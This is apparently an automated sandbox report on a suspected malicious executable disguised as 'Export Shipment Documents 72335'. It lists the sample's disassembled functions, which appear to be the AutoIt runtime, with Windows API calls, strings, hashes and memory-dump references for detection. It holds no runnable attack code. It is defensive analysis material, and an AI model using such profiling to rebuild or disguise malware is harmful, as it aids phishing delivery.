                                                                                                                                                                                                          • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                                                                          • API String ID: 1503153545-1459072770
                                                                                                                                                                                                          • Opcode ID: 4bf5914395717010b0ea9e2d69638f6034391d2624482ee6cf2f9dbb9f61e865
                                                                                                                                                                                                          • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4bf5914395717010b0ea9e2d69638f6034391d2624482ee6cf2f9dbb9f61e865
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                                                                                                                                          Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                                                                                                                                          • _fseek.LIBCMT ref: 004527FC
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 0045285C
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00452871
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 00452886
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 004528B0
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 004528C8
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 004528DD
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452914
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452925
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452944
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452955
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452976
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452987
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452998
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 004529A9
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                                                            • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                                                            • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                                                          • __fread_nolock.LIBCMT ref: 00452A39
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2054058615-0
                                                                                                                                                                                                          • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                                                          • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                                                                                                                                          Function 004559A8 Relevance: 33.7, APIs: 18, Strings: 1, Instructions: 401COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 0-4108050209
                                                                                                                                                                                                          • Opcode ID: 832d7dfe82571d46151d64c4ba74b7ae12496bc5cddea04242c0c379dd164914
                                                                                                                                                                                                          • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 832d7dfe82571d46151d64c4ba74b7ae12496bc5cddea04242c0c379dd164914
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                                                                                                                                          Function 004700B0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 004701EA
                                                                                                                                                                                                          • GetClientRect.USER32(?,?), ref: 004701FA
                                                                                                                                                                                                          • GetSystemMetrics.USER32(00000007), ref: 00470202
                                                                                                                                                                                                          • GetSystemMetrics.USER32(00000008), ref: 00470216
                                                                                                                                                                                                          • GetSystemMetrics.USER32(00000004), ref: 00470238
                                                                                                                                                                                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
                                                                                                                                                                                                          • GetSystemMetrics.USER32(00000007), ref: 00470273
                                                                                                                                                                                                          • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
                                                                                                                                                                                                          • GetSystemMetrics.USER32(00000008), ref: 004702A8
                                                                                                                                                                                                          • GetSystemMetrics.USER32(00000004), ref: 004702CF
                                                                                                                                                                                                          • SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
                                                                                                                                                                                                          • AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
                                                                                                                                                                                                          • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
                                                                                                                                                                                                          • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
                                                                                                                                                                                                          • GetClientRect.USER32(?,?), ref: 00470371
                                                                                                                                                                                                          • GetStockObject.GDI32(00000011), ref: 00470391
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
                                                                                                                                                                                                          • SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                                                                                                                                                                                          • String ID: AutoIt v3 GUI
                                                                                                                                                                                                          • API String ID: 867697134-248962490
                                                                                                                                                                                                          • Opcode ID: 0d702e1f111dc4b461eb7f98f3a5a74387d5f37c8fb6fd827a42ca67ae032642
                                                                                                                                                                                                          • Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0d702e1f111dc4b461eb7f98f3a5a74387d5f37c8fb6fd827a42ca67ae032642
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A
                                                                                                                                                                                                          Function 00448759 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 2353593579-4108050209
                                                                                                                                                                                                          • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                                                          • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                                                                                                                                          • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                                                                                                                                          Function 0044A0EA Relevance: 31.7, APIs: 21, Instructions: 196windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetSysColor.USER32 ref: 0044A11D
                                                                                                                                                                                                          • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                                                                                                                                                          • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                                                                                                                                                          • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                                                                                                                                                          • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                                                                                                                                                          • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                                                                                                                                                          • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                                                                                                                                                          • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                                                                                                                                                          • GetWindowDC.USER32 ref: 0044A277
                                                                                                                                                                                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                                                                                                                                                          • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                                                                                                                                                          • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                                                                                                                                                          • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                                                                                                                                                          • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                                                                                                                                                          • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                                                                                                                                                          • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                                                                                                                                                          • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                                                                                                                                                          • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1744303182-0
                                                                                                                                                                                                          • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                                                          • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                                                                                                                                                          Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsicoll$__wcsnicmp
                                                                                                                                                                                                          • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                                                                                                                                          • API String ID: 790654849-1810252412
                                                                                                                                                                                                          • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                                                          • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                                                                                                                                                          Function 0046CAAA Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 229COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                                                                                                                                                          • API String ID: 0-1896584978
                                                                                                                                                                                                          • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                                                          • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                                                                                                                                                          Function 00476A8A Relevance: 27.3, APIs: 18, Instructions: 332COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: InitVariant
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1927566239-0
                                                                                                                                                                                                          • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                                                          • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                                                                                                                                          Function 0046D6EB Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 474COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                                                                                                                                          • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                                                                                                                                          • IsWindow.USER32(?), ref: 0046DBDE
                                                                                                                                                                                                          • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                                                                                                                                          • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                                                                                                                                                          • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                                                                                                                                            • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                                                                                                                                                          • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                                                                                                                          • API String ID: 1322021666-1919597938
                                                                                                                                                                                                          • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                                                          • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                                                                                                                                                          Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsicoll$IconLoad
                                                                                                                                                                                                          • String ID: blank$info$question$stop$warning
                                                                                                                                                                                                          • API String ID: 2485277191-404129466
                                                                                                                                                                                                          • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                                                          • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                                                                                                                                                          Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                                                                                                                                                          • strncnt.LIBCMT ref: 00428646
                                                                                                                                                                                                          • strncnt.LIBCMT ref: 0042865A
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: strncnt$CompareErrorLastString
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1776594460-0
                                                                                                                                                                                                          • Opcode ID: 409d39d31d49c90a4132468ed3074cd5345a98ee66abf4e21a74ff80ab18450e
                                                                                                                                                                                                          • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 409d39d31d49c90a4132468ed3074cd5345a98ee66abf4e21a74ff80ab18450e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                                                                                                                                                          Function 004545C9 Relevance: 25.7, APIs: 17, Instructions: 198windowtimeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                                                                                                                                                          • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                                                                                                                                                          • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                                                                                                                                                          • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                                                                                                                                                          • GetDlgItem.USER32(?,000003E9), ref: 00454637
